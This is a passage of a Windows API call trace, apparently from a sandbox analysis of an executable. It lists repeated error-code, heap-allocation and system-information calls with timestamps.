SetLastError (dwErrCode=0x0) [0026.858] GetLastError () returned 0x0 [0026.858] SetLastError (dwErrCode=0x0) [0026.858] GetLastError () returned 0x0 [0026.858] SetLastError (dwErrCode=0x0) [0026.858] GetLastError () returned 0x0 [0026.859] SetLastError (dwErrCode=0x0) [0026.859] GetLastError () returned 0x0 [0026.859] SetLastError (dwErrCode=0x0) [0026.859] GetLastError () returned 0x0 [0026.859] SetLastError (dwErrCode=0x0) [0026.859] GetLastError () returned 0x0 [0026.859] SetLastError (dwErrCode=0x0) [0026.859] GetLastError () returned 0x0 [0026.859] SetLastError (dwErrCode=0x0) [0026.859] GetLastError () returned 0x0 [0026.859] SetLastError (dwErrCode=0x0) [0026.859] GetLastError () returned 0x0 [0026.859] SetLastError (dwErrCode=0x0) [0026.859] GetLastError () returned 0x0 [0026.859] SetLastError (dwErrCode=0x0) [0026.859] GetLastError () returned 0x0 [0026.859] SetLastError (dwErrCode=0x0) [0026.859] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x3b) returned 0x270788 [0026.859] GetLastError () returned 0x0 [0026.859] SetLastError (dwErrCode=0x0) [0026.859] GetLastError () returned 0x0 [0026.859] SetLastError (dwErrCode=0x0) [0026.859] GetLastError () returned 0x0 [0026.859] SetLastError (dwErrCode=0x0) [0026.859] GetLastError () returned 0x0 [0026.859] SetLastError (dwErrCode=0x0) [0026.859] GetLastError () returned 0x0 [0026.859] SetLastError (dwErrCode=0x0) [0026.859] GetLastError () returned 0x0 [0026.859] SetLastError (dwErrCode=0x0) [0026.859] GetLastError () returned 0x0 [0026.859] SetLastError (dwErrCode=0x0) [0026.859] GetLastError () returned 0x0 [0026.860] SetLastError (dwErrCode=0x0) [0026.860] GetLastError () returned 0x0 [0026.860] SetLastError (dwErrCode=0x0) [0026.860] GetLastError () returned 0x0 [0026.860] SetLastError (dwErrCode=0x0) [0026.860] GetLastError () returned 0x0 [0026.860] SetLastError (dwErrCode=0x0) [0026.860] GetLastError () returned 0x0 [0026.860] SetLastError (dwErrCode=0x0) [0026.860] GetLastError () returned 0x0 [0026.860] SetLastError (dwErrCode=0x0) [0026.860] GetLastError () returned 0x0 [0026.860] SetLastError (dwErrCode=0x0) [0026.860] GetLastError () returned 0x0 [0026.860] SetLastError (dwErrCode=0x0) [0026.860] GetLastError () returned 0x0 [0026.860] SetLastError (dwErrCode=0x0) [0026.860] GetLastError () returned 0x0 [0026.860] SetLastError (dwErrCode=0x0) [0026.860] GetLastError () returned 0x0 [0026.860] SetLastError (dwErrCode=0x0) [0026.860] GetLastError () returned 0x0 [0026.860] SetLastError (dwErrCode=0x0) [0026.860] GetLastError () returned 0x0 [0026.860] SetLastError (dwErrCode=0x0) [0026.860] GetLastError () returned 0x0 [0026.860] SetLastError (dwErrCode=0x0) [0026.860] GetLastError () returned 0x0 [0026.860] SetLastError (dwErrCode=0x0) [0026.860] GetLastError () returned 0x0 [0026.860] SetLastError (dwErrCode=0x0) [0026.860] GetLastError () returned 0x0 [0026.860] SetLastError (dwErrCode=0x0) [0026.860] GetLastError () returned 0x0 [0026.861] SetLastError (dwErrCode=0x0) [0026.861] GetLastError () returned 0x0 [0026.861] SetLastError (dwErrCode=0x0) [0026.861] GetLastError () returned 0x0 [0026.861] SetLastError (dwErrCode=0x0) [0026.861] GetLastError () returned 0x0 [0026.861] SetLastError (dwErrCode=0x0) [0026.861] GetLastError () returned 0x0 [0026.861] SetLastError (dwErrCode=0x0) [0026.861] GetLastError () returned 0x0 [0026.861] SetLastError (dwErrCode=0x0) [0026.861] GetLastError () returned 0x0 [0026.861] SetLastError (dwErrCode=0x0) [0026.861] GetLastError () returned 0x0 [0026.861] SetLastError (dwErrCode=0x0) [0026.861] GetLastError () returned 0x0 [0026.861] SetLastError (dwErrCode=0x0) [0026.861] GetLastError () returned 0x0 [0026.861] SetLastError (dwErrCode=0x0) [0026.861] GetLastError () returned 0x0 [0026.861] SetLastError (dwErrCode=0x0) [0026.861] GetLastError () returned 0x0 [0026.861] SetLastError (dwErrCode=0x0) [0026.861] GetLastError () returned 0x0 [0026.861] SetLastError (dwErrCode=0x0) [0026.861] GetLastError () returned 0x0 [0026.861] SetLastError (dwErrCode=0x0) [0026.861] GetLastError () returned 0x0 [0026.861] SetLastError (dwErrCode=0x0) [0026.861] GetLastError () returned 0x0 [0026.861] SetLastError (dwErrCode=0x0) [0026.861] GetLastError () returned 0x0 [0026.862] SetLastError (dwErrCode=0x0) [0026.862] GetLastError () returned 0x0 [0026.862] SetLastError (dwErrCode=0x0) [0026.862] GetLastError () returned 0x0 [0026.862] SetLastError (dwErrCode=0x0) [0026.862] GetLastError () returned 0x0 [0026.862] SetLastError (dwErrCode=0x0) [0026.862] GetLastError () returned 0x0 [0026.862] SetLastError (dwErrCode=0x0) [0026.862] GetLastError () returned 0x0 [0026.862] SetLastError (dwErrCode=0x0) [0026.862] GetLastError () returned 0x0 [0026.862] SetLastError (dwErrCode=0x0) [0026.862] GetLastError () returned 0x0 [0026.862] SetLastError (dwErrCode=0x0) [0026.862] GetLastError () returned 0x0 [0026.862] SetLastError (dwErrCode=0x0) [0026.862] GetLastError () returned 0x0 [0026.862] SetLastError (dwErrCode=0x0) [0026.862] GetLastError () returned 0x0 [0026.862] SetLastError (dwErrCode=0x0) [0026.862] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x98) returned 0x273aa0 [0026.862] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x1f) returned 0x2715b8 [0026.862] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x36) returned 0x273b40 [0026.862] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x37) returned 0x273b80 [0026.862] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x3c) returned 0x273bc0 [0026.862] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x31) returned 0x273c08 [0026.862] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x17) returned 0x2707d0 [0026.862] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x24) returned 0x273c48 [0026.862] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x14) returned 0x273c78 [0026.862] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0xd) returned 0x2709c0 [0026.862] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x25) returned 0x273c98 [0026.862] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x39) returned 0x273cc8 [0026.862] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x18) returned 0x273d10 [0026.862] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x17) returned 0x273d30 [0026.862] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0xe) returned 0x2709d8 [0026.863] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x69) returned 0x273d50 [0026.863] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x3e) returned 0x273dc8 [0026.863] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x1b) returned 0x2715e0 [0026.863] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x1d) returned 0x271608 [0026.863] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x48) returned 0x273e10 [0026.863] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x12) returned 0x273e60 [0026.863] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x18) returned 0x273e80 [0026.863] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x1b) returned 0x271630 [0026.863] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x24) returned 0x273ea0 [0026.863] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x29) returned 0x273ed0 [0026.863] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x1e) returned 0x271658 [0026.863] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x41) returned 0x273f08 [0026.863] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x17) returned 0x273f58 [0026.863] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0xf) returned 0x2709f0 [0026.863] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x16) returned 0x273f78 [0026.863] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x2a) returned 0x273f98 [0026.863] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x29) returned 0x272830 [0026.863] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x15) returned 0x272868 [0026.863] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x1e) returned 0x271680 [0026.863] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x2a) returned 0x272888 [0026.863] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x12) returned 0x2728c0 [0026.863] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x18) returned 0x2728e0 [0026.863] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x46) returned 0x272900 [0026.863] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x273308 | out: hHeap=0x260000) returned 1 [0026.864] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x80) returned 0x272950 [0026.864] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0026.864] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x800) returned 0x2729d8 [0026.864] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40d47c) returned 0x0 [0026.864] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x272950) returned 0x80 [0026.865] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x272950) returned 0x80 [0026.865] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x272950) returned 0x80 [0026.865] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x272950) returned 0x80 [0026.866] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x272950) returned 0x80 [0026.866] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x272950) returned 0x80 [0026.866] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x272950) returned 0x80 [0026.866] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x272950) returned 0x80 [0026.866] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x272950) returned 0x80 [0026.866] GetLastError () returned 0x0 [0026.867] SetLastError (dwErrCode=0x0) [0026.867] GetLastError () returned 0x0 [0026.867] SetLastError (dwErrCode=0x0) [0026.867] GetLastError () returned 0x0 [0026.867] SetLastError (dwErrCode=0x0) [0026.867] GetLastError () returned 0x0 [0026.867] SetLastError (dwErrCode=0x0) [0026.867] GetLastError () returned 0x0 [0026.867] SetLastError (dwErrCode=0x0) [0026.867] GetLastError () returned 0x0 [0026.867] SetLastError (dwErrCode=0x0) [0026.867] GetLastError () returned 0x0 [0026.867] SetLastError (dwErrCode=0x0) [0026.867] GetLastError () returned 0x0 [0026.867] SetLastError (dwErrCode=0x0) [0026.867] GetLastError () returned 0x0 [0026.867] SetLastError (dwErrCode=0x0) [0026.867] GetLastError () returned 0x0 [0026.867] SetLastError (dwErrCode=0x0) [0026.867] GetLastError () returned 0x0 [0026.867] SetLastError (dwErrCode=0x0) [0026.867] GetLastError () returned 0x0 [0026.867] SetLastError (dwErrCode=0x0) [0026.867] GetLastError () returned 0x0 [0026.867] SetLastError (dwErrCode=0x0) [0026.867] GetLastError () returned 0x0 [0026.867] SetLastError (dwErrCode=0x0) [0026.867] GetLastError () returned 0x0 [0026.867] SetLastError (dwErrCode=0x0) [0026.867] GetLastError () returned 0x0 [0026.867] SetLastError (dwErrCode=0x0) [0026.867] GetLastError () returned 0x0 [0026.868] SetLastError (dwErrCode=0x0) [0026.868] GetLastError () returned 0x0 [0026.868] SetLastError (dwErrCode=0x0) [0026.868] GetLastError () returned 0x0 [0026.868] SetLastError (dwErrCode=0x0) [0026.868] GetLastError () returned 0x0 [0026.868] SetLastError (dwErrCode=0x0) [0026.868] GetLastError () returned 0x0 [0026.868] SetLastError (dwErrCode=0x0) [0026.868] GetLastError () returned 0x0 [0026.868] SetLastError (dwErrCode=0x0) [0026.868] GetLastError () returned 0x0 [0026.868] SetLastError (dwErrCode=0x0) [0026.868] GetLastError () returned 0x0 [0026.868] SetLastError (dwErrCode=0x0) [0026.868] GetLastError () returned 0x0 [0026.868] SetLastError (dwErrCode=0x0) [0026.868] GetLastError () returned 0x0 [0026.868] SetLastError (dwErrCode=0x0) [0026.868] GetLastError () returned 0x0 [0026.868] SetLastError (dwErrCode=0x0) [0026.868] GetLastError () returned 0x0 [0026.868] SetLastError (dwErrCode=0x0) [0026.868] GetLastError () returned 0x0 [0026.868] SetLastError (dwErrCode=0x0) [0026.868] GetLastError () returned 0x0 [0026.868] SetLastError (dwErrCode=0x0) [0026.868] GetLastError () returned 0x0 [0026.868] SetLastError (dwErrCode=0x0) [0026.868] GetLastError () returned 0x0 [0026.868] SetLastError (dwErrCode=0x0) [0026.868] GetLastError () returned 0x0 [0026.868] SetLastError (dwErrCode=0x0) [0026.869] GetLastError () returned 0x0 [0026.869] SetLastError (dwErrCode=0x0) [0026.869] GetLastError () returned 0x0 [0026.869] SetLastError (dwErrCode=0x0) [0026.869] GetLastError () returned 0x0 [0026.869] SetLastError (dwErrCode=0x0) [0026.869] GetLastError () returned 0x0 [0026.869] SetLastError (dwErrCode=0x0) [0026.869] GetLastError () returned 0x0 [0026.869] SetLastError (dwErrCode=0x0) [0026.869] GetLastError () returned 0x0 [0026.869] SetLastError (dwErrCode=0x0) [0026.869] GetLastError () returned 0x0 [0026.869] SetLastError (dwErrCode=0x0) [0026.869] GetLastError () returned 0x0 [0026.869] SetLastError (dwErrCode=0x0) [0026.869] GetLastError () returned 0x0 [0026.869] SetLastError (dwErrCode=0x0) [0026.869] GetLastError () returned 0x0 [0026.869] SetLastError (dwErrCode=0x0) [0026.869] GetLastError () returned 0x0 [0026.870] SetLastError (dwErrCode=0x0) [0026.870] GetLastError () returned 0x0 [0026.870] SetLastError (dwErrCode=0x0) [0026.870] GetLastError () returned 0x0 [0026.870] SetLastError (dwErrCode=0x0) [0026.870] GetLastError () returned 0x0 [0026.870] SetLastError (dwErrCode=0x0) [0026.870] GetLastError () returned 0x0 [0026.870] SetLastError (dwErrCode=0x0) [0026.870] GetLastError () returned 0x0 [0026.870] SetLastError (dwErrCode=0x0) [0026.870] GetLastError () returned 0x0 [0026.870] SetLastError (dwErrCode=0x0) [0026.870] GetLastError () returned 0x0 [0026.870] SetLastError (dwErrCode=0x0) [0026.870] GetLastError () returned 0x0 [0026.870] SetLastError (dwErrCode=0x0) [0026.870] lstrlenW (lpString="") returned 0 [0026.870] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.870] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.871] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.871] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.871] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.871] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.871] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.871] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.871] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.871] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.871] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.871] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.871] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.871] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.871] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.871] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.871] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.871] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.871] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.871] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.871] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.871] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.871] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.871] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.871] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.871] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.871] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.871] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.871] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.871] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.872] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.872] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.872] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.872] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.872] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.872] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.872] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.872] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.872] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.872] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.872] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.872] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.872] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.872] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.872] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.872] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.872] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.872] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.872] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.872] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.872] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.872] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.872] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.872] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.872] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.872] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.872] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.872] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.872] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.872] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.872] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.872] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.872] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.872] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.872] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.872] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.873] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.873] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.873] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.873] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.873] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.873] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.873] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.873] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.873] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.873] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, 